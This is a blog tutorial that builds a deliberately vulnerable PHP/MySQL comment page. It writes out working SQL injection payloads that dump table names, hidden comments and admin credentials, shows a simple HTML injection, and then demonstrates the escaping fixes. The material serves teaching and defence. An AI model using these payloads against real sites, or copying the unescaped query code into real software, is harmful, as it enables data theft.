Demonstrating the need for HTML and SQL encoding by building an insecure blog and hacking it

I’m going to create the worst blogging software in the world, consisting of a single web page displaying a list of comments and where users can post new comments or search for comments. The data will be stored in a MySQL database. The site is going to have horrendous security flaws (on purpose). Then I’m going to hack it’s innermost secrets just through the web page. Then I’ll show you how to make it secure.

I recommend testing this (or something similar) yourself. If you do then don’t do it on a live server! It’s probably best to do it on a machine that’s not even connected to the internet!

After doing all this I’m actually really impressed with MySQL and PHP. Two of the flaws I couldn’t get to work at all because they seem to be doing something smarter than me and the security holes I found (OK, I made them on purpose!) were easily fixed. If anyone can help me get the other vulnerabilities to work or suggest other attacks, I’d love to know whether the fixed PHP survives and if it has other security flaws.

Download the PHP files here. WARNING: this is unsafe code on purpose, try it on a test machine that’s not connected to a network (or the internet!). They’ll need to live somewhere under your apache install so you can access them through the browser. “dbform.php” is the bad one, “dbform2.php” is the fixed one.

Preparing the database

I’ll create a database with two tables – comments and users. Then I’ll insert a record into each, a very secret comment which shouldn’t ever be shown and an admin user and password. Then I’ll make a page to display comments with a form to add a comment and a form to search the comments. Then I’m going to pull out the table names, try (and fail) to execute abitrary SQL, pull out the secret comment, pull out the admin username, pull out the admin password, try (and fail) to read a file and for a finale insert some pretend malicious HTML which will appear unencoded in the page.

There’s one thing right in the script. It only uses a normal user, not admin, but we’ve given them full rights to the database which probably isn’t a good idea but nevermind for now.

Login as root to MySQL:


mysql -u root -p
CREATE DATABASE dbformexample;
USE dbformexample;
CREATE TABLE comments (comment_text CHAR(100), is_secret INT);
INSERT INTO comments VALUES ('My really big secret', 1);
CREATE TABLE users (username CHAR(100), password CHAR(100));
INSERT INTO users VALUES ('admin', 'secret');
GRANT ALL PRIVILEGES ON
dbformexample.* TO "dbformexample"@"localhost"
IDENTIFIED BY "gHp755TTd";

Testing The Broken Version (dbform.php)

Try the form out for a bit. Add a few comments and search. It all seems to work at first glance. Have a look at the output which explain what it’s doing. It displays any SQL used to add comments or search with a line starting “sql=”. This is the intersting output which I’ll be showing in the following tests.

Unfortunate bug because of lack of encoding (adding comment containing a single quote fails):

Comments added with a single quote in them will fail because the quote isn’t encoded. To test type “That’s life” into the add comment box. Here’s the output (on each of these examples I give some of the onscreen output. The first line gives the string that was entered.


New comment received: That's life
sql=INSERT INTO comments (comment_text, is_secret) VALUES ('That's life', 0)
Error adding record: 'You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 's life', 0)' at line 1'

Look at the line beginning “sql=” and look at the first value give: it’s delimited by (delimited means the start and end are marked by) single quotes and there’s a single quote in the middle. It should be encoded! The correct SQL code for inserting this string into the database would be:


INSERT INTO comments (comment_text, is_secret) VALUES ('That\'s life', 0)

Top marks to MySQL at this point too. Even though we’ve displayed the error message on the screen (which is a bad idea – it gives clues to anyone trying to access the site, a message saying “table doesn’t exist” means they can keep trying names until they don’t get that message) it hasn’t given much information.

Database Attacks:

List tables:

OK, here I show the output of a database search. The whole string “XYZ%’ UNION ALL SELECT table_name, 0 FROM information_schema.tables WHERE table_schema = ‘dbformexample’ AND table_schema != ‘information_schema’; — HAHA” is an evil search. It takes the search results and combines it with a select from the database table schema to list all the tables in the search results! The “sql=” line gives you the complete SQL statement.


Search received: %' UNION ALL SELECT table_name, 0 FROM information_schema.tables WHERE table_schema = 'dbformexample' AND table_schema != 'information_schema'; -- HAHA
sql=SELECT * FROM comments WHERE is_secret=0 AND comment_text LIKE '%%' UNION ALL SELECT table_name, 0 FROM information_schema.tables WHERE table_schema = 'dbformexample' AND table_schema != 'information_schema'; -- HAHA%'

Execute abitrary SQL (doesn’t work):


New comment received: '); UPDATE comments SET comment_text='evil';-- BWAHAHAHA
sql=INSERT INTO comments (comment_text, is_secret) VALUES (''); UPDATE comments SET comment_text='evil';-- BWAHAHAHA', 0)

SQL works if typed into MySQL though so it’s valid but PHP is smart and mysql_query only runs one query max. Excellent result for PHP.

Selects all comments, even secret ones:


Search received: %' UNION ALL SELECT * FROM comments WHERE is_secret=1; -- HOHO
sql=SELECT * FROM comments WHERE is_secret=0 AND comment_text LIKE '%%' UNION ALL SELECT * FROM comments WHERE is_secret=1; -- HOHO%'

Read different table (for usernames):


Search received: evil%' UNION ALL SELECT username,0 FROM users; -- HAHA
sql=SELECT * FROM comments WHERE comment_text LIKE '%evil%' UNION ALL SELECT username,0 FROM users; -- HAHA%'

Read different table, secific row (for password):


Search received: evil%' UNION ALL SELECT password,0 FROM users; -- HAHA
sql=SELECT * FROM comments WHERE comment_text LIKE '%evil%' UNION ALL SELECT password,0 FROM users; -- HAHA%'

Read arbitrary file: (doesn’t work)


Search received: %' UNION ALL SELECT LOAD_FILE('c:/secret.txt'), 0; -- HOHO
sql=SELECT * FROM comments WHERE is_secret=0 AND comment_text LIKE '%%' UNION ALL SELECT LOAD_FILE('c:/secret.txt'), 1;%'

Couldn’t get this to work. Not sure why.

HTML Attacks:

I’ll pretend that <b> is a really nasty script infested tag for this. I could just as easily use IFRAME here.

When the program echoes the string to the browser you’ll see “evil code” in bold, not as written here. I’ve shown the string encoded here so you can copy and paste to try it out and see what’s going on. Now look on the list of comments – an evil <b> tag!


New comment received: Testing <b>evil code</b>
sql=INSERT INTO comments (comment_text, is_secret) VALUES ('<b>Testing evil code</b>', 0)

More information on this in my article on preventing Cross-Site Scripting.

The Fixed Version (dbform2.php)

And the fixed version prevents all of these attacks with a few small changes. What has been fixed? Only 2 things!
1. Anywhere a parameter is added into a string to make an SQL query string it has to be encoded with mysql_real_escape_string.
2. Anywhere something that has been entered by a user is output as HTML it has to be encoded with htmlspecialchars.

Here’s the results of the hack to read the secret comment run with the fixed version to show you the SQL encoding:

Selects all comments, even secret ones:


Search received: %' UNION ALL SELECT * FROM comments WHERE is_secret=1; -- HOHO
sql=SELECT * FROM comments WHERE is_secret=0 AND comment_text LIKE '%%\' UNION ALL SELECT * FROM comments WHERE is_secret=1; -- HOHO%'

Look at the search string. The inner quote after XYZ has been encodeds:
‘%%\’ UNION ALL SELECT * FROM comments WHERE is_secret=1; — HOHO%’
so it’s now correctly treated as a very long search string which probably won’t return any records.

And adding a comment with a single quote is also fixed:


New comment received: That's life
sql=INSERT INTO comments (comment_text, is_secret) VALUES ('That\'s life', 0)
Share this:
Share this page via Email Share this page via Stumble Upon Share this page via Digg this Share this page via Facebook Share this page via Twitter

Comments

  1. You can always trust xkcd to find the funny side of something like SQL injection.

  2. Or even this.

Leave a Comment